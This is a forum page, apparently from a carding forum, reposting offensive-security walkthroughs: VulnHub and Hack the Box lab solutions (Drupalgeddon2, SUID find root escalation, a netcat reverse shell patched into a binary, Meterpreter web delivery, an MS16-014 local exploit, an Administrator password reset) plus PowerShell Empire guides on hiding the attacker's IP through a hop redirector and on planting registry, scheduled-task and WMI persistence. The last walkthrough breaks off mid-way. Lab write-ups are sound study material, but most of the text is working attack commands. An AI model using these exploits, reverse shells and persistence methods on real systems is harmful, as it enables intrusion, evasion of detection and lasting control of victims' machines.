| Welcome, Guest |
You have to register before you can post on our site.
|
| Forum Statistics |
» Members: 114,296
» Latest member: Visionjhy
» Forum threads: 13,082
» Forum posts: 20,983
Full Statistics
|
|
|
| [Guide] How to DC-1: Vulnhub Walkthrough |
|
Posted by: NINZA - 05-14-2020, 11:52 AM - Forum: Carders Home
- No Replies
|
 |
Hello friends! Today we are going to take another boot2root challenge known as “DC-1: 1”. The credit for making this VM machine goes to “DCAU” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download this VM [To see content please register here] .
Security Level: Beginner
Penetrating Methodology: - IP Discovery using netdiscover
- Network scanning (Nmap)
- Surfing HTTPS service port (80)
- Finding Drupal CMS
- Exploiting Drupalgeddon2 to get a reverse shell
- Finding files with SUID bit set
- Finding the “find” command with SUID bit set
- Getting root shell with “find” command
- Getting final flag
Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
![[Image: 0.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-NRddfp_jLfc/XH_2_Xvqt9I/AAAAAAAAdVA/IraukG58tFg2X1DDpODAIZGd_1hhLHR7gCLcBGAs/s1600/0.png?w=687&ssl=1)
We found our target –> 192.168.1.104
Our next step is to scan our target with nmap.
nmap -sV 192.168.1.104
1
nmap -sV 192.168.1.104
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-vhWA1ro7VRc/XH_2_pc1JPI/AAAAAAAAdVI/vF1zLXY74Nk54r__DUHQpnkXrdczt5ViQCLcBGAs/s1600/1.png?w=687&ssl=1)
The NMAP output shows us that there are 3 ports open: 22(SSH), 80(HTTP), 111(RPC)
We find that port 80 is running http, so we open the IP in our browser.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-oNN_NSK4-2A/XH_2_ldOaiI/AAAAAAAAdVE/RJCIqjFJ4n8cJ8cGMez7iIAazE_QFGv5ACLcBGAs/s1600/2.png?w=687&ssl=1)
When we access the web service we find that the server is running Drupal CMS. As the target system is running Drupal CMS, we can check if it is vulnerable to Drupalgeddon2 exploit. We run the exploit using Metasploit on the target machine and successfully able to get a reverse shell.
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.1.104
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
1
2
3
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.1.104
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
After getting a reverse shell we spawn a TTY shell using python. Then we find a file with suid permission on the server and find that the “find” command has SUID bit set.
python -c 'import pty; pty.spawn("/bin/bash")'
find / -perm -u=s -type f 2>/dev/null
1
2
python -c 'import pty; pty.spawn("/bin/bash")'
find / -perm -u=s -type f 2>/dev/null
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-CM7Qx7-xzDc/XH_3AYM2ruI/AAAAAAAAdVM/e6oghXbHN2E6kMgvhpJfKCNBXiFH1MaawCLcBGAs/s1600/3.png?w=687&ssl=1)
As “find” command has SUID bit set, we can execute the command as “root” user. We create a file called “raj” and use “find” command to check if is executing the commands as root user, the reason for creating a file is so that we can use with “find” command. As running it with a single file will run the command only once.
After executing the command “whoami”, we find that we can run commands as root user. We now execute “/bin/bash” using “find” command and are successfully able to spawn a shell as root user. We now go to /root directory and find a file called “thefinalflag.txt”. We take a look at the content of the file and find a congratulatory message for completing the VM.
touch raj
find raj -exec "whoami" \;
find raj -exec "/bin/sh" \;
1
2
3
touch raj
find raj -exec "whoami" \;
find raj -exec "/bin/sh" \;
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-1qVUgJRp1h8/XH_3At__PFI/AAAAAAAAdVQ/wtLFsYk6VVAPAC15CLjQ_nDauIorhUCmQCLcBGAs/s1600/4.png?w=687&ssl=1)
This is our fourth article in empire series, in this article we learn to use hop payload in PowerShell empire. Empire has an inbuilt listener named http_hop which allows us to redirect our traffic to one of our another active listener after getting an agent. Thus, the name hop as it hops the agent from one listener to another in order to redirect traffic.
Similar to Metasploit, the hop listener in empire uses a hop.php file. When you activate the hop listener, it will generate three PHP files that will redirect your existing listener. Place the said files in your jump server (ubuntu) and then set up your stager in according to get the session through the mediator i.e. our hop listener.
In the following image, you can see our Kali’s IP. Now, we will try and take windows session via ubuntu using http_hop payload, in order to hide our own IP, i.e. basically, our http_hop payload will help us (attacker) to hide from the getting caught.
![[Image: 1.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-R4GD-zva8mQ/XH_jen_7EaI/AAAAAAAAdUQ/akeTs5J5s7EoxDSnlbDRA4wtUu3R7OlkACLcBGAs/s1600/1.png?w=687)
Here, in the following image, you can see our ubuntu’s IP too.
![[Image: 2.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-8noucZ8AR1g/XH_jevnALtI/AAAAAAAAdUU/dU46QNsr5CQAUXMW-VHWIXo9rTX_2nmYgCLcBGAs/s1600/2.png?w=687)
Now, let’s get started. First, we should have a simple http listener, for that type :
uselistener http
execute
1
2
uselistener http
execute
![[Image: 3.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-j67FYrZ_rDk/XH_jebiXrWI/AAAAAAAAdUM/MfB_Vrnrs4cnC-yvC8FWPn1yRTfpddPlQCLcBGAs/s1600/3.png?w=687)
Now, start the http_hop listener by typing :
uselistener http_hop
set RedirectListener http
set Host //192.168.1.111
1
2
3
uselistener http_hop
set RedirectListener http
set Host //192.168.1.111
Here, we have given RedirectListener i.e. all the traffic from http listener will be directed to the http_hop listener.
![[Image: 4.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-X73wEABmjco/XH_jfQG_fYI/AAAAAAAAdUY/WGCcs80O8hI7mLzhnlSDGrL_Nwrko02JgCLcBGAs/s1600/4.png?w=687)
Executing the above listener will create three files as you can see that in the image above. Transfer these files to /var/www/html location of your Ubuntu as shown in the image below :
![[Image: 6.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-OKCXNeSc9i0/XH_jfvEy6DI/AAAAAAAAdUc/57bJ3dLxtYUZi6nddpUPVoeJBef3EoKfwCLcBGAs/s1600/6.png?w=687)
Now, you can see in the image below we have activated two listeners :
![[Image: 7.1.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-KTywqeZBz0k/XH_jf1kgfwI/AAAAAAAAdUg/-m7_hYadxYUHvWP_aNrDBpqKWFOyNvlaACLcBGAs/s1600/7.1.png?w=687)
Let’s start our stager by typing the following commands :
usestager windows/launcher_bat
set Listener http_hop
execute
1
2
3
usestager windows/launcher_bat
set Listener http_hop
execute
![[Image: 7.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-o3hKUF28ZUY/XH_jgQ2bApI/AAAAAAAAdUo/Y7_u1NcPzGUVvI6bV0yAy55g1cm4JQUDgCLcBGAs/s1600/7.png?w=687)
Once our bat file is executed in the target PC, we will have our session. Now, if you observe the IP through which we have obtained the session is of Ubuntu and not of windows but we have the access of a Windows PC, similarly, in windows, it will show that the attacking machine is Ubuntu and not kali. Hence our http_hop is effective.
![[Image: 8.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-ly9byfp2tF0/XH_jgTLsHnI/AAAAAAAAdUk/K5bpDonlUX8kzDvvMsz0ktONeu4qbNaHQCLcBGAs/s1600/8.png?w=687)
In conclusion, the major advantage of the http_hop listener is that it helps an attacker from being identified as on the target PC, as the said listener hides the original IP.
Hello friends! Today we are going to take another boot2root challenge known as “Replay: 1”. The credit for making this VM machine goes to “c0rruptedb1t” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download this VM [To see content please register here] .
Security Level: Intermediate
Flags: There is one flag (flag.txt).
Penetrating Methodology:- IP Discovery using netdiscover
- Network scanning (Nmap)
- Surfing HTTPS service port (80)
- Enumerating password from Source code.
- Enumerating robots.txt and finding the zip file
- Unzipping zip file
- Enumerating password from the binary file
- Enumerating the hardcoded command
- Editing the hardcoded command
- Getting a reverse shell
- Enumerating password for the user
- Elevate Privileges to get root
- Getting Flag
Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
![[Image: 0.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-dAGyhUzYfKM/XH0CBxFj_WI/AAAAAAAAdSw/Jehu0-yn_go6qactr_KB_qCLz7He7NP_ACLcBGAs/s1600/0.png?w=687&ssl=1)
We found our target –> 192.168.1.37
Our next step is to scan our target with nmap.
nmap -p- -A 192.168.1.37
1
nmap -p- -A 192.168.1.37
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-GHbS_2lX-ow/XH0CBzgxt7I/AAAAAAAAdS4/YYVkbkUfds4CUmevQpPI-E7iO41eFBRMgCLcBGAs/s1600/1.png?w=687&ssl=1)
The NMAP output shows us that there are 3 ports open: 22(SSH), 80(HTTP), 1337(Unknown)
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Cw3i3Ey_3CI/XH0CEuHyi2I/AAAAAAAAdTU/nZkYPsvpZUEWKs1GLx1ROMjB4ReH4rCBwCLcBGAs/s1600/2.png?w=687&ssl=1)
We find that port 80 is running http, so we open the IP in our browser.
We take a look at the source code of web page and at the top of the source code, we find a string inside a comment. We are not able to do anything with it, so we save it for later.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-N5Sh5AUMQsc/XH0CEgmHQRI/AAAAAAAAdTY/qI218Rpke5Ylu_JQQvNHmUObUF7AT9ndQCLcBGAs/s1600/3.png?w=687&ssl=1)
Nmap scan shows us that there is one entry inside robots.txt. We open robots.txt and find an entry called “/bob_db.zip”.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/--TYsjNMmtAE/XH0CFNHHbFI/AAAAAAAAdTc/YY7_RBODUwM5gIo_03wzf8yyn8H64_POwCLcBGAs/s1600/4.png?w=687&ssl=1)
We open the link and download the zip file from the web server. After downloading the file, we extract it and find 64-bit ELF file and a text file. We take a look at the content of the text file and don’t find anything of use.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-BQnrO72gkmQ/XH0CFMMagRI/AAAAAAAAdTg/ghHWf9Tqd84IAhHPqxX1F9s4Qmtan6pGQCLcBGAs/s1600/5.png?w=687&ssl=1)
When we run the application “client.bin”, it asks for an IP address and a password.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-s2haY0qSULo/XH0CFZwSPSI/AAAAAAAAdTk/64gh12nG054H-8drKYUgqVTrUcljCKWGQCLcBGAs/s1600/6.png?w=687&ssl=1)
As we have no clue for the password, we check the strings inside the application and there we find a hint for the password. Inside the application, we find the second half of the password. Now earlier inside the web page, we found a strange string that might be the first half of the password.
Password: qGQjwO4h6gh0TAIRNXuQcDu9Lqsyul
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-6e38kABbbfA/XH0CFrJbz8I/AAAAAAAAdTo/SXOLcVTxGTAyzrykh0ubJONSneNhvJT3ACLcBGAs/s1600/7.png?w=687&ssl=1)
We joined the string and use it as a password for the application. After giving the password, we successfully able to login, and find that we can run commands. But when we type a command we get an error stating that we are sending unauthorized packets and the connection gets closed.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-cFCQd0vNu48/XH0CF0yOI4I/AAAAAAAAdTs/R2_CsP0PY50s4CqO7ACgUS8J2PB-i1vvACLcBGAs/s1600/8.png?w=687&ssl=1)
Now when we take a closer look at the application we find that the command “;whoami” is hardcoded in the application.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-tTzoYCgrA-o/XH0CGJHQgKI/AAAAAAAAdTw/H7rrmhYACqwiWulNZbiSNoH1klDnCGR_wCLcBGAs/s1600/9.png?w=687&ssl=1)
We try to edit the application and change “;whoami” command to something else and find that the size of string inside the application should remain the same and the command should always start with a semi-colon. So we changed the “;whoami” to “;uname -a” keeping the number of characters inside the application the same by replacing existing characters inside the application.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-Ag79-8wTYkE/XH0CBw5jWlI/AAAAAAAAdS0/Qbn6JDVIojY0ADC3LAV7xCSAakDxezHegCLcBGAs/s1600/10.png?w=687&ssl=1)
Now when we run the application and give the password we are successfully able to execute our command.
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-gnOMapyUao0/XH0CCv1MkkI/AAAAAAAAdS8/tj3bV6OpWXQP3Vy-c_ufuKaUxTOil04nwCLcBGAs/s1600/11.png?w=687&ssl=1)
Now we replace the entire string with our netcat reverse shell one-liner and used extra characters to keep the size of the application the same.
nc -e /bin/bash 192.168.1.25 4444;ls;ls;ls;ls;ls;ls;ls;
1
nc -e /bin/bash 192.168.1.25 4444;ls;ls;ls;ls;ls;ls;ls;
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-n7c0muSPS1w/XH0CDQSvfiI/AAAAAAAAdTA/oydIouGgIBgCMGez6qLjGUKSiqJIUdqIgCLcBGAs/s1600/14.png?w=687&ssl=1)
Now we run the application and give the correct the password.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-zJ-AMX6y7zc/XH0CDp2rBPI/AAAAAAAAdTE/qy_oiIt4pig7LyF2E-XVEmCRAmVprXK9QCLcBGAs/s1600/15.png?w=687&ssl=1)
We setup our listener and are successfully able to get a reverse shell. After getting a reverse shell we spawn a TTY shell using python.
nc -lvp 4444
python -c 'import pty;pty.spawn("/bin/bash")'
1
2
nc -lvp 4444
python -c 'import pty;pty.spawn("/bin/bash")'
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-bmmJIMIgsI8/XH0CD3ZfDtI/AAAAAAAAdTI/FFar1H4KF_4AUoCHxnLz25jsRyLucfl1ACLcBGAs/s1600/16.png?w=687&ssl=1)
Enumerating through the directories inside “~/Documents/.ftp” we find a file called “users.passwd”. We open it and find the password for user “bob”. Now we check the sudoers list and find that we can run all commands as root user.
sudo -l
1
sudo -l
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-SnbfkhvPZm4/XH0CEAlVW1I/AAAAAAAAdTM/k_emn7PPDn8k-ot563rzeYOLIImS49VQwCLcBGAs/s1600/17.png?w=687&ssl=1)
As we have the password for user bob, we spawn a shell as the root user. We go to “/” directory and find a file called “flag.txt”. We take a look at the content of the file and find the congratulatory flag.
sudo -i
cd /
cat flag.txt
1
2
3
sudo -i
cd /
cat flag.txt
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-vos7bN3Oey4/XH0CEeERGDI/AAAAAAAAdTQ/g3GM_0zdDecsJGwIbySpp7oX_vH-VsNUwCLcBGAs/s1600/18.png?w=687&ssl=1)
Today we are going to solve another CTF challenge “Access”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Easy
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Access is 10.10.10.98.
Penetrating Methodologies:- Network scanning (nmap).
- Logging in FTP using Anonymous Login.
- Using strings to read contents of the .mdb file.
- Unzipping Zip file using 7z.
- Using readpst to read the contents of the .pst file.
- Finding Login Credentials
- Logging into Telnet.
- Finding the first flag user.txt
- Using web delivery module to create PowerShell code.
- Getting Meterpreter.
- Using exploit suggester of Metasploit.
- Getting Root Access.
- Changing the Administrator password using net user.
- Reading Our Final flag root.txt
Walkthrough
Let’s start off with scanning the network to find our target.
nmap -p- -A 10.10.10.98
1
nmap -p- -A 10.10.10.98
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-SGp80pJw4VQ/XHv-7lIznGI/AAAAAAAAdOg/rfARN604SnI34xHCgsM6RZMEoRqex-t3QCLcBGAs/s1600/1.png?w=687&ssl=1)
The first thing that got our attention is that we have anonymous access to the ftp server. Let’s login and see what we find.
After successfully logging into FTP server, we have enumerated directories from where we have downloaded two files Access Control.zip and backup.mdb. They might come in handy later on.
ftp 10.10.10.98
1
ftp 10.10.10.98
When we tried to unzip the zip file found out that it was password protected. So we tried to open the backup.mdb file and found a password to the zip file.
strings backup.mdb | grep access
1
strings backup.mdb | grep access
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-2olzo_J8uOM/XHv-9_QWQYI/AAAAAAAAdPA/kWxzcEQeBxAQ7wFS6aVEyEuqvBhWpqarwCLcBGAs/s1600/4.png?w=687&ssl=1)
Once we have obtained the password for the Access Control.zip. Time to unzip it. After unzipping we saw its a .pst which is a Microsoft Exchange Format for mailboxes. Using readpst it converted the file into the .mbox format.
7z x Access\ Control.zip
readpst 'Access Control.pst'
1
2
7z x Access\ Control.zip
readpst 'Access Control.pst'
Let’s read the contents of the Access Control.mbox.
less 'Access Control.mbox'
1
less 'Access Control.mbox'
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-kRqjg78p6tM/XHv--dKqHYI/AAAAAAAAdPE/lxLAkJqFIB4ty5VClW4jAlWr0x9izqmOQCLcBGAs/s1600/5.png?w=687&ssl=1)
After reading the contents, we saw that user credentials that surely going to help us to move ahead.
Username- security
Password- 4Cc3ssC0ntr0ller
1
2
Username- security
Password- 4Cc3ssC0ntr0ller
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-i-TWZVLTYxs/XHv--7sJbNI/AAAAAAAAdPI/SvfL0XIp1A0ic03PUHo4JwgeTOVT-K0GACLcBGAs/s1600/7.png?w=687&ssl=1)
Let’s login into telnet using our new credentials. After enumerating through directories, we have found our first flag.
telnet 10.10.10.98
dir
cd Desktop
type user.txt
1
2
3
4
telnet 10.10.10.98
dir
cd Desktop
type user.txt
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Zw87Va7K-z4/XHv-_NKEX2I/AAAAAAAAdPM/dJBHwrJuEds0wgZs8qOXsGCHsJ6RBARrQCLcBGAs/s1600/8.png?w=687&ssl=1)
Let’s create a shellcode generated via the web delivery module of Metasploit.
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.14.6
exploit
1
2
3
4
5
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.14.6
exploit
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-UZh-v8ylJ0E/XHv-_CKNV_I/AAAAAAAAdPQ/JRuCEm-z3I4BXmz1ImMwHEMyJ3YGdMZ2wCLcBGAs/s1600/9.png?w=687&ssl=1)
Now we will execute the PowerShell code generated via the web delivery module.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-jEZuSH0CbuQ/XHv-77duNSI/AAAAAAAAdOk/hrMdZyRqxzERDmK9q_-HgfxHyNvFsQr5ACLcBGAs/s1600/10.png?w=687&ssl=1)
We have successfully got the meterpreter. Moving forward.
getuid
getsystem
sysinfo
1
2
3
getuid
getsystem
sysinfo
![[Image: 11.1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-3gOyXBpZznA/XHv-7xH1w-I/AAAAAAAAdOo/96KySZo-lr4pZlfGTzWbNJoA3DnZyOMKQCLcBGAs/s1600/11.1.png?w=687&ssl=1)
After that, we have used exploit suggester which has given us all the possible exploits for the operating system of the Victims system.
use post/multi/recon/local_exploit_suggester
set session 1
exploit
1
2
3
use post/multi/recon/local_exploit_suggester
set session 1
exploit
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-835xsBoFIaI/XHv-8lpu-1I/AAAAAAAAdOs/SjvHahkkYQkaO9LuordbEP07UckuVm8EACLcBGAs/s1600/11.png?w=687&ssl=1)
Using the exploit ms16_014_wmirecv_notif of Metasploit.
use exploit/windows/local/ms16_014_wmi_recv_notif
set lhost 10.10.14.6
set session 1
set lport 1234
exploit
1
2
3
4
5
use exploit/windows/local/ms16_014_wmi_recv_notif
set lhost 10.10.14.6
set session 1
set lport 1234
exploit
oh yeah! We have got the root access.
whoami
1
whoami
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-m1QAtdGrm7Y/XHv-8uYPyEI/AAAAAAAAdOw/kix0do8deDsIQBORFpaiQocozmYhBv4rgCLcBGAs/s1600/12.png?w=687&ssl=1)
Now we changed the password for Administrator because we can use it to login via telnet.
net user
net user Administrator Ignite@123
1
2
net user
net user Administrator Ignite@123
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-6FHjYRDFGT4/XHv-8woxgNI/AAAAAAAAdO0/v92leJ3y1GMaH6p6_b5FG5mgbegTlEMdwCLcBGAs/s1600/13.png?w=687&ssl=1)
Here we successfully logged in via Telnet and found our final flag.
telnet 10.10.10.98
login: administrator
password: Ignite@123
cd Desktop
type root.txt
1
2
3
4
5
telnet 10.10.10.98
login: administrator
password: Ignite@123
cd Desktop
type root.txt
|
|
|
|
| [Guide] How to Windows Persistence with PowerShell Empire |
|
Posted by: NINZA - 05-14-2020, 11:50 AM - Forum: Carders Home
- No Replies
|
 |
This is the third article in our empire series, through this we will learn elevated persistence methods. Its trigger method is pretty organised with storage options contained within each module.
In Empire, the elevated persistence modules use trigger method and different storage options are required in different modules. All of these persistence modules are based on PowerSploit’s persistence. As these are elevated persistence, it requires you to have admin access to work as intended. They have different setting options in them including cleanup, etc., for instance, the CleanUp option will set delete your backdoor and set the machine back to its original state.
The registry methods in gaining persistence are one of the oldest methods which use the HKLM version to trigger our payload into the system. Couple of persistence that we will show in our article will have schtasks as an option. This option makes the module a bit trickier as it sets the payload to be triggered on either DailyTime i.e. any given time or using OnLogon option which triggers the payload user is logged on. The Onlogon option does not display a prompt and runs as SYSTEM.
The WMI module is mostly the go-to persistence method. It lets you add a permanent WMI payload at either DailyTime (i.e. at a certain time) or at startup. This module to runs as SYSTEM and it doesn’t depend on the user being logged in.
The modules of persistence that we are going to show in our article are as follows : - Persistence/elevated/registry
- Persistence/elevated/schtask
- Persistence/elevated/wmi
Firstly, we have to have an elevated session (session with admin rights) through the empire. To know how to get the said session click [To see content please register here] . As you can see in the image high integrity is set to 1 that means we have admin privileges. Now, we will use the first persistence module listed above and for this use the following commands :
usemodule persistence/elevated/registry*
set Listener http
execute
1
2
3
usemodule persistence/elevated/registry*
set Listener http
execute
![[Image: 1.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-1oZFTfvz4Ks/XHvy-QWPaSI/AAAAAAAAdN4/K88MgR-_I2oFqX3UJQA_-sOBEvtyJ2H4ACLcBGAs/s1600/1.png?w=687)
Once the above module is executed and when the target machine is restarted, you will again automatically have your session. As shown in the image below :
![[Image: 2.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-7w3uCTYtfis/XHvy-VGmdcI/AAAAAAAAdOA/xpUBBqU7LJc5XNCao8K04gEsEsUYwm-IQCLcBGAs/s1600/2.png?w=687)
Our next module is persistence/elevated/schtasks, this is a bit different from the previous one as in this we can set a certain time on which we want to gain our session. Again after having a session with administrator privileges, we will use the following set of commands to activate the said persistence module :
usemodule persistence/elevated/schtasks*
set OnLogon True
set Listener http
execute
1
2
3
4
usemodule persistence/elevated/schtasks*
set OnLogon True
set Listener http
execute
![[Image: 3.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-UrTLa_qTix0/XHvy-eJ6i7I/AAAAAAAAdN8/WjR-UaYxOXEUyliJTEzXyLoFbpWUlG3JACLcBGAs/s1600/3.png?w=687)
Due to OnLogon option, your session will return to you once the user logs on to their system, refer the following image for the same :
![[Image: 4.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-kGz6IYqP-Yw/XHvy_B-4zPI/AAAAAAAAdOE/VB1zcJC35ecdFObojrmqJssDEzyf5FXbACLcBGAs/s1600/4.png?w=687)
Lastly, we will use the persistence/elevated/wmi module and to use it, type the following set of commands :
usemodule persistence/elevated/wmi*
set Listener http
set AtStartup True
execute
1
2
3
4
usemodule persistence/elevated/wmi*
set Listener http
set AtStartup True
execute
![[Image: 5.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-WCR39LCaNmA/XHvy_TZeb5I/AAAAAAAAdOI/ysUQhuvE92gAzuWAYQbekI1H-5m_LQU4QCLcBGAs/s1600/5.png?w=687)
As we have set the startup option true, you will have your session as soon as the target machine starts up just like its shown in the image below :
![[Image: 6.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-pgMUEv47tXc/XHvy_hRx6mI/AAAAAAAAdOM/J4R2g0SIlZcwGqSU_y4lthhdkGLiztTDwCLcBGAs/s1600/6.png?w=687)
Today we are going to solve another CTF challenge “W34kn3ss 1”. Briefing about the lab, the matrix is controlling this machine, neo is trying to escape from it and take back the control on it, your goal is to help neo to gain access as a “root” to this machine, through this machine you will need to perform a hard enumeration on the target and understand what is the main idea of it, and exploit every possible “weakness” that you can found, also you will be facing some up normal behaviors during exploiting this machine. You need to think out of the box and collect all the puzzle pieces in order to get the job done. This vulnerable can be downloaded from [To see content please register here] .
Difficulty: Intermediate
Penetrating Methodologies- Machine discovery and scanning (netdiscover, nmap)
- Surfing HTTP service port (80)
- Directory enumeration using dirbuster
- Exploring directories on the browser.
- Adding domain name to /etc/hosts file.
- Exploring domain name on the browser.
- Directory enumeration using dirbuster
- Exploring directories on the browser.
- Searching exploits using searchsploit.
- Cracking base-64 encoded public key.
- Logging into SSH using the public key.
- Using online python-decompiler.
- Getting root access.
- Snagging the Root flag.
Walkthrough
Let’s start off with discovering the IP address of our Target Machine.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-kCOpl133TqY/XHgXrmi5LBI/AAAAAAAAdKA/ZY_Cx9nHJXUGuizuWUfLPmT5FqAU9J1RQCLcBGAs/s1600/1.png?w=687&ssl=1)
Then we’ll continue with our nmap command to find out the open ports and services. The nmap scan result gave us quite a bit of useful information which could be useful later on.
nmap -p- -A 192.168.1.101
1
nmap -p- -A 192.168.1.101
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-hXawkw6X27I/XHgXuevmDtI/AAAAAAAAdKg/GkrY6-XY6bMaUferVmXPGTbE5JOmUWJywCLcBGAs/s1600/2.png?w=687&ssl=1)
Since port 80 is open, we explored the Targets IP Address on the browser.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-ASeF6O-2yf8/XHgXumklvzI/AAAAAAAAdKk/Fq2KCRX199gp39HlXkwKd-ncChrwg5YtgCLcBGAs/s1600/3.png?w=687&ssl=1)
We didn’t found anything on the webpage, so we use dirb to enumerate the directories on the web server.
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-WTFO_XRZYnE/XHgXuxYN0HI/AAAAAAAAdKo/eUq2O2Ozg186E4vsV3Huo3Sdo-M7MRslQCLcBGAs/s1600/4.png?w=687&ssl=1)
After spending a good time while enumerating through these directories, we finally found a useful directory that quite gave us hint to move forward. The picture is indicating that we require lots of keys in this Machine.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-z7uROAapeOY/XHgXvpfnglI/AAAAAAAAdKs/3q21MykDTmgDV34-uf6tiIxGbjLlUfZXgCLcBGAs/s1600/5.png?w=687&ssl=1)
A thought comes in our head of adding weakness.jth as a domain name in the/etc/hosts file. We found the name weakness.jth in our nmap result under port 443.
nano /etc/hosts
1
nano /etc/hosts
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-h5czVa3p2TE/XHgXvnomKkI/AAAAAAAAdKw/dX61T-wtCxg2o1VdxDY_VvMDBRnaljAQQCLcBGAs/s1600/6.png?w=687&ssl=1)
Let’s just browse weakness.jth on the browser and the result gave a useful credential n30 that come in handy later on.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-KQiEMFAl0Fo/XHgXv7FTx-I/AAAAAAAAdK0/XE3lLXp7FdISRXTl7xC2TFZM7DL9-Yf5gCLcBGAs/s1600/7.png?w=687&ssl=1)
Let’s again use dirb to enumerate the directories on weakness.jth. You never know what clue it might give us.
dirb [To see content please register here]
1
dirb [To see content please register here]
As expected it gave us another useful directory as highlighted.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-pVgzPFQqiog/XHgXwq25TwI/AAAAAAAAdK4/mskkhyYCJCczlmLDkZvG-GO0Co-7_DhEwCLcBGAs/s1600/8.png?w=687&ssl=1)
While browsing this directory on the browser it showed two files mykey.pub which is a public key and notes.txt. Let’s download them on our system.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-wDQWItUXkis/XHgXwy3CGDI/AAAAAAAAdK8/QUp6TqDUL4kEgW5b-fKykwdZDqd17gclwCLcBGAs/s1600/9.png?w=687&ssl=1)
When we opened notes.txt on the browser it gave us a clue about OpenSSL 0.98c-1 and that the public key we found was generated by it.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-ZlW257RylGU/XHgXrxw5WKI/AAAAAAAAdKE/mkzDgseWuukxux6vE6ihGe7yzcL8xTVsQCLcBGAs/s1600/10.png?w=687&ssl=1)
